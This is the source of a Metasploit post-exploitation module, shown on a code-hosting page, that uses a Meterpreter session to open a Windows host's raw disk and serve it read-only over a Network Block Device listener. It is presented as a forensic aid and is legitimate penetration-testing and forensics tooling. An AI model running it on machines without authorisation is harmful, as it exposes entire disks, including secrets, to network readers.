Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/manage/nbd_server.rb
19516 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
#
7
# Maps remote disks and logical volumes to a local Network Block Device
8
# server. Allows for forensic tools to be executed on the remote disk
9
# directly.
10
#
11
# R. Wesley McGrew [email protected]
12
# http://mcgrewsecurity.com
13
# Mississippi State University National Forensics Training Center
14
# http://msu-nftc.org
15
16
class MetasploitModule < Msf::Post
17
18
def initialize(info = {})
19
super(
20
update_info(
21
info,
22
'Name' => 'Windows Manage Local NBD Server for Remote Disks',
23
'Description' => %q{
24
Maps remote disks and logical volumes to a local Network Block
25
Device server. Allows for forensic tools to be executed on the remote disk directly.
26
},
27
'License' => MSF_LICENSE,
28
'Platform' => ['win'],
29
'SessionTypes' => ['meterpreter'],
30
'Author' => ['Wesley McGrew <wesley[at]mcgrewsecurity.com>'],
31
'Compat' => {
32
'Meterpreter' => {
33
'Commands' => %w[
34
stdapi_railgun_api
35
]
36
}
37
},
38
'Notes' => {
39
'Stability' => [CRASH_SAFE],
40
'SideEffects' => [],
41
'Reliability' => []
42
}
43
)
44
)
45
register_options(
46
[
47
OptString.new('DEVICE', [true, 'Device to map (use enum_drives for possible names)', nil]),
48
OptString.new('NBDIP', [false, 'IP address for NBD server', '0.0.0.0']),
49
OptInt.new('NBDPORT', [false, 'TCP port for NBD server', 10005]),
50
]
51
)
52
end
53
54
def run
55
ip_addr = datastore['NBDIP']
56
port = datastore['NBDPORT']
57
devname = datastore['DEVICE']
58
59
fsctl_allow_extended_dasd_io = 0x00090083
60
ioctl_disk_get_drive_geometry_ex = 0x000700A0
61
62
r = client.railgun.kernel32.CreateFileA(
63
devname, 'GENERIC_READ',
64
0x3, nil, 'OPEN_EXISTING', 'FILE_ATTRIBUTE_READONLY', 0
65
)
66
handle = r['return']
67
client.railgun.kernel32.DeviceIoControl(handle, fsctl_allow_extended_dasd_io, nil, 0, 0, 0, 4, nil)
68
ioctl = client.railgun.kernel32.DeviceIoControl(
69
handle, ioctl_disk_get_drive_geometry_ex,
70
'', 0, 200, 200, 4, ''
71
)
72
if ioctl['GetLastError'] == 6
73
ioctl = client.railgun.kernel32.DeviceIoControl(
74
handle, ioctl_disk_get_drive_geometry_ex,
75
'', 0, 200, 200, 4, ''
76
)
77
end
78
geometry = ioctl['lpOutBuffer']
79
disk_size = geometry[24, 31].unpack('Q')[0]
80
81
socket = Rex::Socket::TcpServer.create({ 'LocalHost' => ip_addr, 'LocalPort' => port })
82
print_status("Listening on #{ip_addr}:#{port}")
83
print_status("Serving #{devname} (#{disk_size} bytes)")
84
rsock = socket.accept
85
print_status('Accepted a connection')
86
87
# Negotiation
88
rsock.put('NBDMAGIC')
89
rsock.put("\x00\x00\x42\x02\x81\x86\x12\x53")
90
91
rsock.put([disk_size].pack('Q').reverse)
92
rsock.put("\x00\x00\x00\x03") # Read-only
93
rsock.put("\x00" * 124)
94
print_line('Sent negotiation')
95
96
loop do
97
request = rsock.read(28)
98
99
unless request
100
print_error('No data received')
101
break
102
end
103
104
magic, request, nbd_handle, offset_n, length = request.unpack('NNa8a8N')
105
106
if magic != 0x25609513
107
print_error('Wrong magic number')
108
break
109
end
110
if request == 2
111
break
112
end
113
114
if request == 1
115
print_error('Attempted write on a read-only nbd')
116
break
117
end
118
next unless request == 0
119
120
client.railgun.kernel32.SetFilePointer(handle, offset_n[4, 7].unpack('N')[0],
121
offset_n[0, 4].unpack('N')[0], 0)
122
rsock.put("gDf\x98\x00\x00\x00\x00")
123
rsock.put(nbd_handle)
124
data = client.railgun.kernel32.ReadFile(handle, length, length, 4, nil)['lpBuffer']
125
rsock.put(data)
126
end
127
128
print_status('Closing')
129
rsock.close
130
socket.close
131
132
client.railgun.kernel32.CloseHandle(handle)
133
end
134
end
135
136